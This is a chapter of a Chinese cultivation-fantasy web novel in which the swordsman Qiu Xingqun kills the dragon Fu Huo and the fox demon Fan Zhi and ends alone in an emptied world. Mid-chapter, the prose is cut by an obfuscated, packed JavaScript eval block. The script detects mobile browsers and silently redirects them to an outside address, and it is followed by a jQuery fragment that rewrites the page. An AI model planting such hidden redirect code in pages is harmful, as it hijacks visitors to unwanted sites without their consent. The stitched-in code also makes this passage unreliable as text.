恫世之威,力起百千凛寒剑影。
而剑尖所汇集处,即为刚被宣判死刑的顾无忧。
她面色褪白。
伏惑则站于她身前,纹丝不动。
双方灵力纵横、环行,无声碰撞掀起的狂风惊破虚空,满溢杀机。
其几欲荡除一切邪祟,灭尽灾咎。
可谁是邪祟?谁是灾咎?
顾无忧么?
仇星群笃信无疑。
可是,伏惑的举动却已然表明——
他对此绝不认同。
仇星群断然评道:“此世延续千年的深海灵兽,竟执迷不悟、不辨是非。愚蠢!”
以他看来,那个自我了断、逃避命运的外门生徒,再加面前顽固不化的白龙,皆是受顾无忧蛊惑走入歪道,再不肯回头。
他们的罪业成倍累积,早已非比寻常。倘若只责之深省、敦促改正,想必……
也无济于事了吧。
立竿见影的最佳方法,唯剩——
仇星群挥手落剑,亦视同伏惑为灾咎的党羽,一并清算。
祸端,需一个不留!
伏惑急召屏障,庇护周遭一片空地,确保疾锐的剑影不会砸中他和顾无忧二人。
旋即,伏惑身形闪电般没入棱方,顿时不知去向。
仇星群兀自喃喃:“又不见了。”
不过,他的神色全无慌张失措。
仇星群淡然闭眼,倏扬左手,缭绕身侧待命的一柄利剑立马应其动作,改换势态,横斜飞驰。
“叮——!”
刀剑震荡,嗡鸣清越。
仇星群成功截下背后突袭。
回首时分,与伏惑那双略微惊异的眼睛短暂接触,他毫不犹豫凝神出剑,再朝对方连发数招。
伏惑见状,向后急退。
这次,他没有落回顾无忧的身旁。
因为不计其数的棱方包裹此方天地,已将战场抬升,避免伤及地面无辜之人。
而伏惑,立足虚空,如履平地。
仇星群悬在对方为他打造的牢笼之中,不紧不慢抬眼打量,好奇多嘴询问:“你的招式,倒算有些意思。谁教给你的?”
伏惑答:“此世天道,顾无忧。”
“……”
仇星群叹气,当真对他一意孤行的痴盲无可奈何,“你的意思是,一个无法修行的凡人,能亲自指点你的修行?”
伏惑反驳:“之前你不是说过吗?天道特殊,她拥有不成为凡人的选择。”
“她的人生有着那么多种选择。现在,只因她不符你心中所臆想的天道,你又一厢情愿,将她打作欺世盗名的骗徒。”
“过去称颂她的是你,如今,意欲覆灭她的,也是你。仇星群。”
“见风使舵,两面三刀。”
伏惑紧握横刀,忿然奉还罪名,“真正的骗徒,是你才对!”
“……呵呵。”仇星群怒极反笑,尽管那笑意触及眼底,又融化作彻骨的雪水,“颠倒黑白,强词夺理。”
他斥道:“昏聩!!”
伏惑才不愿听这些。
趁话音刚落的空隙,割线细细密密等分视野,排山倒海迎向对敌。
仇星群安如磐石。
好似命在旦夕的蜉蝣并非他自己——
未想,事实亦如此。
掠截四肢、切削经脉的层层割线,原本去势汹汹,此刻倒犹如温和细小的水流。
它们潺潺淌过仇星群的皮肤,激起水面涟漪,平息之后,却连一丁点儿无关紧要的伤痕都不曾留下。
伏惑不可思议:“怎么会?”
接着,他很快发现端倪:“你的身体,不是真实的?幻象?”
仇星群颔首。
“过去数百年间,我已把属于我的部分魂魄,注入决想,与它密不可分。”
“由此,我可轻易借助决想剑调动空相绘卷,将本我肉身重新熔炼、铸造,与‘幻’合而为一。”
“于是,我可为真,亦可为幻。”
“伏惑,你无法杀死我。”
叙述之间,无数惨然伫立的残光剑影,居然再度折返、汇聚,势同百川归流,蓄力刺透棱方。
仇星群的修为在他之上,就算伏惑想要催动棱方转移摧枯拉朽式的进攻,能迁走的数量,亦不过杯水车薪。
所以,眼下,躲避才是明智之举。
伏惑有心遁入棱方,规避致命伤害。
谁料,逆行回天的盛大剑雨,逼得伏惑退步再三,又待他站稳后,渐淡轮廓,直至彻底绝迹。
“剑影怎么消失了?”伏惑突感不妙,“又是幻象?”
恰逢此时,底下传来顾无忧高声提醒:“伏惑,小心!!!”
可惜,已经来不及了。
电光石火,一道无匹剑威轰然撕裂棱方障壁,自后重重贯穿……
伏惑的心脏。
……
【龙渊之主,黑化进度:0%】
……
“伏惑!”
顾无忧着急迈动双腿,一路狂奔向同伴坠落的位置,嗓音颤抖呼唤,“伏惑?!”
殷红汩汩涌出心口幽深的洞。
他的发绳断裂,惯常干净的白发披散至脖颈,此刻触地,则被迫染上尘灰与血。
瞳眸半睁,了无生气。
同此世千千万万具遗体一般无二。
他的缄默,即为死亡最真实的注脚。
顾无忧跪坐在伏惑旁边,不信邪地试探鼻息,又使用能力修补他留有缺陋的躯壳。
但是,无果。
他的魂魄消陨,一切注定回不来了。
顾无忧呆滞片刻,不禁双手颓然撑地,深深垂首。
无人辨清她如今的神情,可凭借其肩膀剧烈的起伏,姑且猜测,她或许是在哭泣。
顾无忧,也会哭吗?
一位脸戴面具的司罪悄无声息走来,亦低头对死者致意,似乎与顾无忧的沉痛感同身受。
“……神女大人,请节哀。”
司罪惋惜的吊唁,最终只留令人恍惚的余音,响彻分外空阔的思过坛。
是的,空阔。
不知何时,奄奄一息的燕火、心急如焚的画玫、还有其他生徒与司罪的身影,他们竟似就此人间蒸发,杳无音信。
整个思过坛,独留下顾无忧、仇星群、已死的伏惑,以及……
那位来路不明的司罪。
仇星群气定神闲落地。
他忽略正值悲伤、失魂落魄的顾无忧,持决想直指司罪:“樊枝,你打算继续伪装到几时?其余人,被你等藏往何处去了?”
对于这个顶替司罪身份的妖王,仇星群早有觉察。
不过之前是碍于顾无忧颜面,睁一只眼闭一只眼而已。
“……”
樊枝停顿一会儿,释然发笑,摘下面具,“我还以为,像你这般冷血的人,不会在乎旁人的安危呢,御戾岛的无冥仙尊。”
“少些对旁人突如其来的操心吧,他们当然身处暂时安全的地方。”
面对樊枝冷嘲热讽,仇星群面不改色,他见樊枝与顾无忧站在一边,只确认一句:“那你又想做什么,难道你要效仿伏惑?”
“我?”樊枝指了指自己,摆手拒绝,“哈哈,算了吧。我的年岁虽不及你,但也不再是年轻气盛的那一辈了。”
“以卵击石的事情,我才懒得做。”
哪怕当初全盛时期的樊枝,若想在不死不灭的仇星群手中占到优势,估计同样有些困难。
“那你……”对方话虽如此,仇星群倒瞧他并非预备独善其身的模样。
樊枝依旧耐心等在少女身后。
等到顾无忧再度开口,叹息着吩咐他:“樊枝,那你走吧。”
樊枝才无奈摇头:“啊,放我走?忘记了吗,神女大人,我们有过约定,你我性命已经永远相连了。”
他缓缓放低身姿,靠近仍守着伏惑的顾无忧:“而且这种时候居然只想打发我走?我就知道,你果然更舍不得伏惑啊。”
“……”顾无忧现在没有心思反驳他。
“唉,算了。”
他强扣顾无忧的手腕远离冰冷的尸体,亲昵地摩挲,同她低语,“没事,别难过。反正逃不掉了,既然如此……”
“我陪你一起去那边找他,好不好?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253849|183267||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>闻言,仇星群一怔。
顾无忧亦震惊侧头,看向吐露惊世骇俗言论的狐狸:“你说什么?”
樊枝的笑容愈发灿烂。
他为妖,又恰好生得一张妖冶的面庞,于是,肆无忌惮笑起来时,疯狂贪婪的本性瞬间原形毕露。
“我说,我陪你、去找他。”
“为了你,顾无忧,我能尽力忍受你的身边存在另一人。”
“无论去往何方,无论生死,我都愿意陪着你。哪怕是我们三人一起,也无妨。”
……
“……?”
仇星群难以听进。
他甚至不知为何自己要浪费时间,旁听樊枝一堆莫名其妙的妄语狂言。
果然。
但凡是顾无忧的人、偏向她的所有人,就没有一个心智健全的寻常人。
尤其,当樊枝对顾无忧道尽缠绵悱恻的情意后……仇星群脑中维系理智的最后一根弦,终于崩断。
他不理解。
明明他摆明真相,说得十分明白了——顾无忧不是天道!
为何这些冥顽不灵的家伙,还选择前仆后继,推崇、追随她?
自己莫非弄错了?
其实顾无忧真是天道?
仇星群头痛欲裂。
不!
狂热乃是致人病入膏肓的毒药。
不能被感染,不能被牵着鼻子走。
兴许再顺应他们的疯癫多行一步,自己也会成为受顾无忧摆布的傀儡!
为挣脱混乱的泥沼,他一不做二不休,聚灵引剑,再分裂成百千剑影。
仇星群手起剑落。
“轰——”
等地面唯剩残影余芒、和那三人依偎纠缠一处的僵卧躯体,他方才感觉心情稍霁。
总算……结束了?
“唔咳……咳咳咳!哈哈……”倏忽,细弱的咳嗽吸引着仇星群再度定睛观察。
“樊枝?”
他着实预料不到,这只妖狐如此顽强,以肉身接数剑,还可苟延残喘。
樊枝半支起上身,无视他嫌恶的脸色,断断续续道:“仇无冥……你知道吗?我啊……我刚刚,全在说谎啊!”
樊枝的头颅不受控制摇晃。其外在皮翻肉卷、筋骨酥烂,形同扭曲怪物,他却难得满不在乎、开怀大笑。
一头雾水的仇星群蹙眉,遏制着添补最后一击的冲动,勉强沉默以对。
眼见樊枝他欢欣、他雀跃、他嗤之以鼻地咋舌:“哈哈哈哈哈哈哈……我方才说,哪怕三人一起,也无妨?”
“哈……怎么可能。”
“我怎么可能和另一人……分享她?”
蓦地,樊枝又收敛笑容:“但是,偏偏这样荒唐的假意殉情,被你相信了。”
“只因……你觉得,我们是难与你抗衡的疯子?”
“所以你看,真真假假、假假真真,谁又能彻底分清呢?”
他的话语愈渐含混不清,混着人之将死的自暴自弃,混着愚弄的快意,含沙射影,“连你自己,都根本分不清吧?!”
仇星群怒不可遏:“既愿意成为亡者,当具备亡者缄默的品格!”
灵力再汇集成庞然锋刃。
天地间,一剑凌空,如银河奔流。
仇星群眼底泛红,无情降下处决。
一道笔直剑痕横亘在地。
樊枝终于丧失生息,与其余两具尸体的主人一同化作浮土。
纷扰终散尽。
此世再无一人打搅的绝对安静,仇星群如愿收入囊中。
至此,本该休憩,结果转念一想,好像仍有事情未了结。
毕竟突然遭逢重大变故。
司罪们受到波及,或许已带领孩子撤出思过坛,在别处听候命令。
他需要去确认情况。
仇星群遂调整疲态、重理衣冠,朝平日外门生徒武训的地点走去。
然而,待仇星群来到这空空如也的旷地,却望不见一个活人时,良久木然之余,他才恍然明悟。
原来,这份绝对安静,竟是以天地仅余一人为代价所换来。
……世间熙攘众生,皆弃他而去。